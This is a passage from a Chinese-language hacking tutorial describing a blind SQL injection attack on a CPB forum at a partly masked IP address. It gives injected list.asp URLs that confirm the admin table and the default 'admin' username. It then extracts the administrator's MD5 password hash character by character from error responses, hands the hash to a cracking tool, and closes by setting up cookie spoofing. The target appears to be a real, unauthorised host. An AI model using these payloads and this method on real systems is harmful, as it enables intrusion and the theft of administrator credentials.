这些信息说明了:主机211.***.***.116上的cpb论坛的数据库并没有经过改动,与原始的表结构是一样的:表名为admin,管理员的a_id为2,这样就省了我们很多的麻烦。
下面的目标就是要得到管理员的用户名和密码了。
提交:
http://211.***.***.116/list.asp?l_id=1 and exists (select admin from admin where
admin=admin)
返回:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005'
[Microsoft][ODBC Microsoft Access Driver] 操作必须使用一个可更新的查询。
/list.asp,行145
看来连管理员的用户名都还是默认的admin。
那么,密码是不是也是默认的admin呢,想到这里我返回到论坛的首页用用户名admin密码admin登陆,结果失败!看来还是老老实实的猜测password的值吧!
提交:
http://211.***.***.116/list.asp?l_id=1 and exists (select password from admin where left
(password,1)='a')
返回的是一个报告出错的页面,这点告诉我们由MD5加密后的密码的第一位不是'a'。
注:由MD5加密后的密码长度为16位,每一位是一个16进制数,所以理论上最多猜测256次即可得到该值
当提交:
http://211.***.***.116/list.asp?l_id=1 and exists (select password from admin where left
(password,1)='1')
返回:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005'
[Microsoft][ODBC Microsoft Access Driver] 操作必须使用一个可更新的查询。
/list.asp,行145
可以得知第一位是'1'。
同理可以依次得到每一位的值,最终经过耐心的尝试得到'19a7e9898008f09e'。这一步可能会耗费一些时间,当然也可以通过编写一个脚本来实现自动获取的目的。
好了,现在该轮到MD5的“暴破”专家DeMd5出场了,填入刚刚得到的'19a7e9898008f09e',下面就可以喝杯咖啡然后等着密码来找你吧!
那么难道在密码没有破解出来之前就只有等待么?当然是否定的,我可不想指望着DeMD5能给我一个满意的答案,万一这个管理员用了十几位的数字、大小写字母和符号来组成他的密码,那岂不是惨了?!
还好还有COOKIE欺骗这一招可用:
文章来源于领测软件测试网 https://www.ltesting.net/